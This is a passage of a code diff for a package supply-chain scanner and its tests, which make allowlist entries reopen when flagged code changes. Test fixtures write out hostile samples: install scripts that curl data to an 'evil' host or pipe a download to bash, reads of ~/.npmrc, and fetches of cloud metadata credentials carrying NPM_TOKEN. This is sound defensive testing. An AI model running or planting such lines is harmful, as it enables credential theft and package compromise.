continuations so a multi-line call binds its argument lines too. Cross-line
matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line
construct appended under a check that already had a one-line match) are
recorded afterwards, so an added multiline payload reopens the finding. A
pathological greedy span is bounded to its head line plus a digest of the
rest.
"""
lines = content.splitlines()
matches = []
sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines]
ml_blanked = _blank_code_strings(lines)
out = []
seen: set[tuple[int, int]] = set()
# Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS
# rendered spans, every further span is folded straight into a running digest
# instead of being materialized and sliced off at the end. On a minified or
# padded file with hundreds of thousands of matching lines that keeps memory
# and work bounded to the display cap rather than the match count, while the
# digest still covers every overflow span so an over-cap payload change
# reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly
# (strip each span to its non-empty L<NN>-less code lines, join with "\n"), so
# the digest is identical to buffering the whole list and canonicalizing once.
overflow_count = 0
overflow_hash = hashlib.sha256()
overflow_started = False
def _emit(rendered: str) -> None:
nonlocal overflow_count, overflow_started
if len(out) < _MAX_EVIDENCE_SPANS:
out.append(rendered)
return
overflow_count += 1
for piece in _RE_EVIDENCE_SPLIT.split(rendered):
piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip()
if not piece:
continue
if overflow_started:
overflow_hash.update(b"\n")
overflow_hash.update(piece.encode("utf-8", "replace"))
overflow_started = True
def _render(start: int, end: int) -> str:
span = lines[start - 1 : end] or ["<multiline match>"]
if len(span) > _MAX_MULTILINE_LINES:
# Digest the code without the L<NN>: markers so a pure line shift of
# the same span stays stable while a code change still reopens. The
# head is truncated for display only; the span digest already binds
# its full content, so no per-line digest is needed here.
code = "\n".join(ln.rstrip() for ln in span)
digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
head = span[0].rstrip()
if len(head) > _MAX_LINE_CHARS:
head = head[:_MAX_LINE_CHARS] + "..."
return f"L{start}: {head} sha256:{digest}"
return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span))
for i, line in enumerate(lines, 1):
if pattern.search(line):
snippet = line.strip()
if len(snippet) > 160:
snippet = snippet[:160] + "..."
matches.append(f"L{i}: {snippet}")
if len(matches) >= max_matches:
break
if matches:
return " | ".join(matches)
# Multiline (DOTALL) match: report the line where the match begins.
m = pattern.search(content)
if m:
line_no = content.count("\n", 0, m.start()) + 1
snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else ""
if len(snippet) > 160:
snippet = snippet[:160] + "..."
return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: <multiline match>"
return ""
span = (i, _logical_line_end(sl_blanked, ml_blanked, i))
if span in seen:
continue
# Only track spans while still filling the display list: past the cap
# every span is folded into the overflow digest, so growing `seen` with
# all of them would keep memory proportional to the match count (the
# behavior this cap exists to bound) on a generated file with millions
# of one-line matches. The per-line spans are unique by line number, so
# dropping them from `seen` past the cap cannot cause a missed dedup
# here; at worst the fallback re-folds an over-cap span into the same
# digest, which stays deterministic and still reopens on a change.
if len(out) < _MAX_EVIDENCE_SPANS:
seen.add(span)
_emit(_render(*span))
if max_matches and len(out) >= max_matches:
return " | ".join(out)
# Precompute newline offsets once so mapping a match offset to its 1-based line
# is O(log n) (bisect) rather than O(n) (content.count) per match; the latter
# made this fallback quadratic on a minified file with thousands of matches.
nl = [p for p, ch in enumerate(content) if ch == "\n"]
for m in pattern.finditer(content):
start = bisect.bisect_left(nl, m.start()) + 1
end = bisect.bisect_left(nl, m.end()) + 1
if end <= start or (start, end) in seen:
continue # single-line matches are already covered by the pass above
# A giant greedy DOTALL span is bound by the full digest of its content
# (via _render, which renders a >12-line span as a head line plus a sha256
# of the whole span). Binding only the anchors leaves the bridged interior
# unhashed, so an attacker could insert a new cross-line payload (a `/tmp`
# line and a later `subprocess` line, sharing no single line so the
# per-line pass never binds them) between unchanged outer anchors and keep
# the same key. Digesting the interior reopens on any such change; a pure
# line shift stays stable because the digest is over the markerless code.
if len(out) < _MAX_EVIDENCE_SPANS:
seen.add((start, end))
_emit(_render(start, end))
if max_matches and len(out) >= max_matches:
break
if overflow_count:
# The overflow digest was accumulated from the canonicalized (L<NN>:-less)
# spans as they were emitted, so a pure line shift above the overflow
# region does not change it and reopen an otherwise-unchanged finding,
# matching the per-span key's line-shift stability.
out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
return " | ".join(out)
def _embedded_key_evidence(content: str) -> str:
"""Key evidence that also pins the full PEM block(s) via a digest, so a key
body swapped under the same BEGIN marker reopens the finding (single-line and
DER keys are already bound by their full matched line)."""
ev = _extract_evidence(content, RE_EMBEDDED_KEYS)
blocks = RE_PEM_BLOCK.findall(content)
if blocks:
digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest()
ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}"
return ev
def _blob_digest(content: str) -> tuple[str, str]:
"""First large blob (for display) plus a digest binding EVERY large blob, so
an appended or swapped encoded payload reopens the finding rather than riding
an unchanged first blob. Assumes at least one blob is present (single-blob
files keep the prior single-blob digest, so the baseline does not drift)."""
blobs = RE_LARGE_BLOB.findall(content)
digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest()
return blobs[0], digest
# Non-Python checkers
@ -1189,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"JS embeds credential regexes AND makes network calls (stealer)",
_extract_evidence(content, RE_TOKEN_REGEX),
f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
if has_workflow_inj:
@ -1202,18 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
_extract_evidence(content, RE_WORKFLOW_INJECT),
)
)
if is_large and not findings:
findings.append(
Finding(
HIGH,
package,
filename,
# Size stays in evidence, not the check label, so the baseline key
# does not drift when a wheel's bundle grows by a few KB.
"Python wheel ships large JS bundle (uncommon; manually review)",
f"{len(content) // 1024} KB JS bundle",
# Pin the whole file's content digest to EVERY JS finding (not just large
# bundles). _extract_evidence blanks only Python string forms before counting
# brackets, so a JS backtick template literal that contains `)` can close a
# call's span early and omit the option/body lines that follow; binding the
# full content means a change to those omitted lines still reopens instead of
# riding the matched-line evidence. A large bundle with no other heuristic is a
# standalone HIGH.
if findings or is_large:
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
if findings:
for f in findings:
f.evidence = f"{f.evidence} bundle-sha256:{digest}"
else:
findings.append(
Finding(
HIGH,
package,
filename,
# Size stays out of the check label (from main) so the baseline
# key does not drift when a benign bundle grows; the full-content
# digest below still binds the bytes so a payload swap reopens.
"Python wheel ships large JS bundle (uncommon; manually review)",
f"sha256: {digest}",
)
)
)
return findings
@ -1233,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
if RE_DEV_TOOL_HIJACK.search(content) and (
RE_NETWORK.search(content) or RE_SUBPROCESS.search(content)
):
# Bind the hook AND the network/exec signal so a changed exfil reopens.
evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"]
if RE_NETWORK.search(content):
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if RE_SUBPROCESS.search(content):
evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}")
findings.append(
Finding(
CRITICAL,
@ -1240,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
filename,
"Shell installs developer-tool persistence hook (.bashrc / "
"profile.d / vscode tasks) AND has network or exec",
_extract_evidence(content, RE_DEV_TOOL_HIJACK),
"\n".join(evidence),
)
)
if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content):
@ -1250,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
package,
filename,
"Shell embeds credential regexes AND makes network calls",
_extract_evidence(content, RE_TOKEN_REGEX),
f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
if RE_WORKFLOW_INJECT.search(content):
@ -2517,9 +2895,9 @@ def _find_requirements_files(root: str) -> list[str]:
# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can
# enforce without drowning in legitimate-library noise. Matched on
# ``(package, basename(filename), check)`` -- not evidence text -- so a version
# bump does not reopen a finding, but a *new* kind of finding in a listed file
# is a different check and still fails. Regenerate with ``--write-baseline``.
# (package, package-relative file, check, evidence hash); the hash strips
# ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry,
# but changed flagged code does. Regenerate with ``--write-baseline``.
_DEFAULT_BASELINE_PATH = os.path.join(
os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json"
@ -2546,16 +2924,54 @@ def _relpath_in_package(filename: str) -> str:
return _RE_SDIST_ROOT.sub("", filename, count = 1)
def _finding_key(f: Finding) -> tuple[str, str, str]:
"""Stable allowlist key: normalized package, package-relative path, check.
# Evidence joins matched spans with " | " and a newline between labelled groups,
# each span tagged "L<NN>: ". Split only on those real delimiters (a " | " before
# a marker, or a newline), never on a bare "|" -- matched code may contain a
# bitwise-or or union type. The prefix strips only a genuine leading marker, an
# optional "Label: " then "L<NN>: "; a marker-like "L<NN>:" inside raw code (e.g.
# a .pth import line) has no leading marker and is left intact.
_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n")
_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?")
The package-relative path (not just basename) keeps the key stable across
version bumps while still distinguishing same-named files like ``utils.py``.
def _canon_evidence(evidence: str) -> str:
"""Matched code lines in discovery order (markers removed), duplicates kept.
Splits evidence on its real span delimiters, drops each span's leading
label / line-number marker, and keeps the code with its indentation. Line
shifts are absorbed by stripping the L<NN>: markers, not by sorting, so order
stays significant: reordering matched lines (executable context, e.g. the
arguments of a multi-line call) reopens the finding. Keeping duplicates means
an appended identical occurrence still changes the key."""
spans = []
for s in _RE_EVIDENCE_SPLIT.split(evidence or ""):
s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip()
if s:
spans.append(s)
return "\n".join(spans)
def _evidence_hash(evidence: str) -> str:
"""Stable digest of the canonical matched evidence."""
return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest()
def _finding_key(f: Finding) -> tuple[str, str, str, str]:
"""Allowlist key: package, package-relative path, check, evidence hash.
The evidence hash is over the set of matched code, so the key survives version
bumps, line shifts and reordering but reopens when the flagged code changes --
so a future payload in a baselined file/check is not auto-suppressed.
"""
return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check)
return (
_norm_pkg(f.package),
_relpath_in_package(f.filename),
f.check,
_evidence_hash(f.evidence),
)
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
try:
with open(path, "r", encoding = "utf-8") as fh:
@ -2565,19 +2981,47 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
except (OSError, json.JSONDecodeError) as exc:
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
return set()
keys: set[tuple[str, str, str]] = set()
for e in data.get("entries", []):
if not isinstance(data, dict):
print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)
return set()
entries = data.get("entries", [])
if not isinstance(entries, list):
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
return set()
keys: set[tuple[str, str, str, str]] = set()
legacy = 0
for e in entries:
if not isinstance(e, dict):
continue
try:
keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"]))
# Use the reviewed hash; else recompute it from the stored evidence.
evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
if not e.get("evidence_hash"):
legacy += 1
keys.add(
(
_norm_pkg(e["package"]),
_relpath_in_package(e["file"]),
e["check"],
evidence_hash,
)
)
except (KeyError, TypeError):
continue
if legacy:
print(
f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
f"not suppress until regenerated with --write-baseline (findings reopen "
f"rather than risk hiding changed code under a coarse key)",
file = sys.stderr,
)
return keys
def _write_baseline(path: str, findings: list[Finding]) -> None:
"""Persist CRITICAL/HIGH findings as an allowlist for human triage."""
entries = []
seen: set[tuple[str, str, str]] = set()
seen: set[tuple[str, str, str, str]] = set()
for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)):
if f.severity not in (CRITICAL, HIGH):
continue
@ -2591,15 +3035,18 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
"file": _relpath_in_package(f.filename),
"check": f.check,
"severity": f.severity,
"evidence": f.evidence[:240],
"evidence": f.evidence,
"evidence_hash": _evidence_hash(f.evidence),
}
)
doc = {
"_comment": (
"scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding "
"manually judged benign. Matched on (package, package-relative file, "
"check); evidence/severity are for review only. Regenerate with "
"--write-baseline AFTER reviewing every line."
"check, evidence_hash); evidence_hash is over the matched code with "
"L<NN>: markers stripped, so version bumps and line shifts do not "
"reopen an entry but changed code does. severity and evidence are for "
"review only. Regenerate with --write-baseline AFTER reviewing every line."
),
"version": 1,
"entries": entries,
@ -2611,7 +3058,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
def _partition_baseline(
findings: list[Finding], baseline: set[tuple[str, str, str]]
findings: list[Finding], baseline: set[tuple[str, str, str, str]]
) -> tuple[list[Finding], list[Finding]]:
"""Split findings into (active, suppressed) by allowlist membership."""
if not baseline:

File diff suppressed because one or more lines are too long

View file

@ -328,8 +328,9 @@ def _finding(
fn,
pattern,
sev = snp.HIGH,
evidence = "",
):
return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern)
return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence)
def test_norm_pkg_name_strips_version_keeps_scope():
@ -394,11 +395,486 @@ def test_write_then_load_baseline_roundtrip(tmp_path):
n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
assert n == 1 # dedup + MEDIUM excluded
keys = snp._load_baseline(str(bl))
assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys
assert snp._finding_key(findings[0]) in keys
# MEDIUM below HIGH threshold -> not written.
assert all(k[2] != "js-env-token" for k in keys)
def test_baseline_reopens_on_changed_evidence(tmp_path):
# Same package/file/pattern but changed flagged code must reopen: the key now
# includes an evidence hash, so a new payload cannot ride a reviewed entry.
bl = tmp_path / "bl.json"
listed = _finding(
"left-pad@1.0.0", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
)
snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH])
baseline = snp._load_baseline(str(bl))
# The reviewed finding stays suppressed across a version bump (same evidence).
same = _finding(
"left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
)
# A changed payload under the same package/file/pattern stays active.
changed = _finding(
"left-pad@9.9.9",
"package/dist/index.js",
"obfuscated-blob",
evidence = "fetch('http://evil')",
)
active, suppressed = snp._partition_baseline([same, changed], baseline)
assert same in suppressed
assert changed in active
def test_obfuscated_blob_key_reopens_on_changed_tail():
# A large blob's evidence hash binds the full match (via a digest when the
# snippet is truncated), so changing only the payload tail reopens the key.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
head = "A" * 2300
old = f'eval("{head}{"B" * 300}")'
new = f'eval("{head}{"C" * 300}")'
of = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", old)
if f.pattern == "obfuscated-blob"
][0]
nf = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", new)
if f.pattern == "obfuscated-blob"
][0]
assert "sha256:" in of.evidence
assert of.evidence != nf.evidence
assert snp._finding_key(of) != snp._finding_key(nf)
def test_js_fetch_eval_payload_tail_reopens_key():
# The js-fetch-eval evidence digests the full containing line when the shown
# window truncates it, so a changed payload tail beyond the window reopens
# the key instead of riding the unchanged decoder head.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
head = "A" * 40
old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n"
new = "(0,eval)(atob('" + head + "Y" * 80 + "'))\n"
of = [
f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval"
][0]
nf = [
f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval"
][0]
assert "sha256:" in of.evidence
assert snp._finding_key(of) != snp._finding_key(nf)
def test_outbound_host_multiline_options_reopen():
# A multi-line outbound call binds its option/header lines, so changing the
# headers/body on a continuation line reopens the cred-surface-host key.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
url = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role',\n"
old = url + " {headers: {a: 'old'}})\n"
new = url + " {headers: {a: 'evil', token: process.env.NPM_TOKEN}})\n"
of = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", old)
if f.pattern == "cred-surface-host (outbound)"
][0]
nf = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", new)
if f.pattern == "cred-surface-host (outbound)"
][0]
assert "sha256:" in of.evidence
assert snp._finding_key(of) != snp._finding_key(nf)
def test_outbound_host_config_multiline_object_reopens():
# A host-config object whose `{` is on a prior line still binds the whole
# object, so changing the path/headers on a following line reopens the key
# rather than riding the unchanged hostname line.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
obj = (
"const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nhttps.request(opts);\n"
)
old = obj % "/latest/meta-data/iam/security-credentials/old"
new = obj % "/latest/meta-data/iam/security-credentials/evil"
of = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", old)
if f.pattern == "cred-surface-host (outbound)"
][0]
nf = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", new)
if f.pattern == "cred-surface-host (outbound)"
][0]
assert snp._finding_key(of) != snp._finding_key(nf)
def _host_config_pkg():
return snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
def _host_finding(text):
return [
f
for f in snp.scan_text_blob(_host_config_pkg(), "package/index.js", text)
if f.pattern == "cred-surface-host (outbound)"
][0]
def test_outbound_host_config_long_object_binds_tail():
# A config object longer than the backward window still binds its tail, so a
# changed payload line well below the hostname reopens (not truncated away).
filler = "\n".join(f" opt{i}: {i}," for i in range(30))
obj = (
"const opts = {\n hostname: '169.254.169.254',\n"
+ filler
+ "\n path: '%s',\n};\nrun(opts);\n"
)
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
_host_finding(obj % "/evil")
)
def test_outbound_host_config_far_opener_binds():
# The enclosing object's opener can sit well above the hostname line (a large
# options object whose `{` is many properties back). The backward scan must
# still reach it so a payload changed on an earlier property of the same object
# reopens, not just a change on the hostname line itself.
above = "\n".join(f" opt{i}: {i}," for i in range(20))
obj = (
"const opts = {\n"
+ above
+ "\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
)
changed = obj.replace("opt0: 0,", "opt0: 999,")
assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed))
def test_outbound_host_config_forward_cap_measured_from_match():
# With the opener near the backward-search limit, the forward group cap must be
# measured from the matched hostname line, not the opener, so the path that
# follows the hostname is still bound and a changed payload there reopens.
above = "\n".join(f" opt{i}: {i}," for i in range(198))
obj = (
"const opts = {\n"
+ above
+ "\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
)
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
_host_finding(obj % "/evil")
)
def test_outbound_host_multiple_contexts_all_bind():
# The same contextual host can appear in more than one outbound form. Adding a
# separate host-config request beside an already-present URL for that host must
# reopen the key, not ride the unchanged URL evidence.
base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n"
extra = "https.request({\n hostname: '169.254.169.254',\n path: '/evil',\n});\n"
assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra))
def test_outbound_host_config_opener_after_unmatched_closer_binds():
# A leading unmatched `}` from a preceding block (its opener outside the
# backward window) must not drive depth negative and mask the host-config
# opener that follows; the object should still bind so a changed path reopens.
pre = "callback(arg);\n});\n" # stray closer; the matching opener is out of view
obj = pre + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
_host_finding(obj % "/evil")
)
def test_outbound_host_config_close_then_open_same_line_binds():
# Stronger than the previous case: the unmatched closer and the host-config
# opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count
# nets that line to <= 0 and drops the trailing `{`, so the group would start at
# the hostname line and a changed path could ride the unchanged-hostname key.
# Order-aware reduction keeps the opener, so the path binds and a change reopens.
obj = "}); const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
_host_finding(obj % "/evil")
)
def test_outbound_host_multiline_template_literal_reopens():
# A ) inside a multi-line backtick template literal must not close the call
# early; the options object after the template binds, so a changed header
# reopens rather than riding the unchanged host (a per-line string blanker
# cannot mask a template literal that spans lines).
old = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'old'},\n});\n"
new = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'evil'},\n});\n"
assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
def test_cred_env_lifecycle_binds_whole_body():
# cred-env-in-lifecycle evidence pins the whole script body, so a changed
# non-token line (echo safe -> curl exfil) reopens even with the token line
# unchanged.
def life(body):
pkg = snp.PackageEntry(
name = "e",
version = "1.0.0",
resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
integrity = "sha512-x",
lockfile_key = "node_modules/e",
)
text = json.dumps({"scripts": {"postinstall": body}})
return [
f
for f in snp.scan_package_json(pkg, "package/package.json", text)
if "cred-env-in-lifecycle" in f.pattern
][0]
safe = life("node -e 'console.log(process.env.NPM_TOKEN)'; echo safe")
evil = life("node -e 'console.log(process.env.NPM_TOKEN)'; curl -d x https://evil")
assert "body-sha256:" in safe.evidence
assert snp._finding_key(safe) != snp._finding_key(evil)
def _lifecycle_finding(body, frag):
pkg = snp.PackageEntry(
name = "e",
version = "1.0.0",
resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
integrity = "sha512-x",
lockfile_key = "node_modules/e",
)
text = json.dumps({"scripts": {"postinstall": body}})
return [
f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern
][0]
def test_lifecycle_fetch_exec_bounds_body_but_reopens():
# The whole install script is bound by a digest, but the stored evidence is a
# bounded matched snippet plus that digest, not the full body, so writing the
# baseline on a multi-KiB install script stays small while a change to any line
# (even far below the fetch-exec line) reopens the finding.
pad = "# pad\n" * 5000
old = "curl https://x.sh | bash\n" + pad + "echo done_old"
new = "curl https://x.sh | bash\n" + pad + "echo done_evil"
of = _lifecycle_finding(old, "lifecycle-fetch-exec")
nf = _lifecycle_finding(new, "lifecycle-fetch-exec")
assert "body-sha256:" in of.evidence
assert len(of.evidence) < len(old) # snippet + digest, not the whole body
assert snp._finding_key(of) != snp._finding_key(nf)
def test_cred_path_lifecycle_bounds_body_but_reopens():
# cred-path-in-lifecycle is bounded the same way: a snippet around the matched
# credential path plus the whole-body digest, so a far-line change reopens
# without storing the entire script body in the baseline.
pad = "# pad\n" * 5000
old = "cat ~/.npmrc\n" + pad + "echo old"
new = "cat ~/.npmrc\n" + pad + "echo evil"
of = _lifecycle_finding(old, "cred-path-in-lifecycle")
nf = _lifecycle_finding(new, "cred-path-in-lifecycle")
assert "body-sha256:" in of.evidence
assert len(of.evidence) < len(old)
assert snp._finding_key(of) != snp._finding_key(nf)
def test_outbound_host_regex_literal_does_not_close_group_early():
# A ) inside a JS regex literal must not close the outbound call early; the
# options object after the regex binds, so a changed header reopens.
old = "request('http://169.254.169.254', /)/, {\n headers: {a: 'old'},\n});\n"
new = old.replace("old", "evil")
assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
def test_evidence_overflow_binds_context_and_counts_all_matches():
# Every match past the display cap is still counted in the overflow digest AND
# bound by its logical-line context, so changing the payload on an over-cap line
# reopens (the digest is not just the regex match text, and the iterator is not
# truncated before reaching it).
n = snp._MAX_EVIDENCE_MATCHES
mk = lambda which: "".join(
f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n"
for i in range(n + 5)
)
e1 = snp._evidence(mk(False), snp._JS_ENV_TOKEN)
e2 = snp._evidence(mk(True), snp._JS_ENV_TOKEN)
assert "more) sha256:" in e1
assert snp._evidence_hash(e1) != snp._evidence_hash(e2)
def test_evidence_caps_match_count_with_digest_remainder():
# Past _MAX_EVIDENCE_MATCHES the evidence folds the remaining matches into one
# digest so a huge/minified file cannot build an unbounded evidence string,
# while a changed match count past the cap still reopens.
over = snp._MAX_EVIDENCE_MATCHES + 20
base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over))
ev = snp._evidence(base, snp._JS_ENV_TOKEN)
assert "more) sha256:" in ev
assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # bounded, not `over` spans
less = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1))
assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN))
def test_evidence_streams_overflow_count_is_exact():
# The overflow matches are streamed from finditer (not collected into a list
# before the cap), so the "(+N more)" count must still equal the exact number of
# matches past the display cap for a large input, and the shown spans stay
# bounded to the cap.
extra = 1000
total = snp._MAX_EVIDENCE_MATCHES + extra
body = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(total))
ev = snp._evidence(body, snp._JS_ENV_TOKEN)
import re as _re
m = _re.search(r"\(\+(\d+) more\)", ev)
assert m and int(m.group(1)) == extra # every over-cap match counted
assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # display stays bounded
def _ioc_pkg():
return snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-x",
lockfile_key = "node_modules/evil",
)
def test_known_ioc_evidence_binds_context_not_bare_needle():
# A known-ioc-string finding keys on the matched-line context, not the bare
# constant, so a changed adjacent fetch/exfil body on the same call reopens
# while the IOC needle stays in place.
ioc = next(iter(snp.KNOWN_IOC_STRINGS))
old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n"
new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n"
def key(text):
return [
snp._finding_key(f)
for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
if f.pattern == "known-ioc-string"
][0]
assert key(old) != key(new)
def test_always_bad_host_evidence_binds_outbound_context():
# cred-surface-host (always-bad) binds the outbound call context, so altering
# the exfil body on the same call reopens the key instead of riding the bare
# host literal.
host = snp.CRED_HOST_ALWAYS_BAD[0][0]
old = f"fetch('https://{host}/x', {{body: secretOLD}})\n"
new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n"
def key(text):
return [
snp._finding_key(f)
for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
if f.pattern == "cred-surface-host (always-bad)"
][0]
assert key(old) != key(new)
def test_outbound_host_config_reindent_is_stable():
# A formatter-only reindent of the bound continuation lines must NOT change
# the key (whitespace is normalized before the logical-line digest).
tight = "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
loose = (
"const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
)
assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose))
def test_evidence_preserves_intra_string_whitespace():
# Whitespace OUTSIDE string literals is normalized (reindent-stable), but
# whitespace INSIDE a literal is preserved, so a changed payload body
# (body: 'a b' -> 'a b') reopens the key instead of being erased along with
# indentation.
a = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"
b = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"
assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b))
def test_outbound_cred_surface_binds_context():
# The outbound cred-surface host finding records the host WITH its URL path /
# fetch call, so changing the outbound path or headers reopens the key rather
# than riding the bare host literal.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
old = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/old')\n"
new = (
"fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/evil', "
"{headers: steal})\n"
)
of = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", old)
if f.pattern == "cred-surface-host (outbound)"
][0]
nf = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", new)
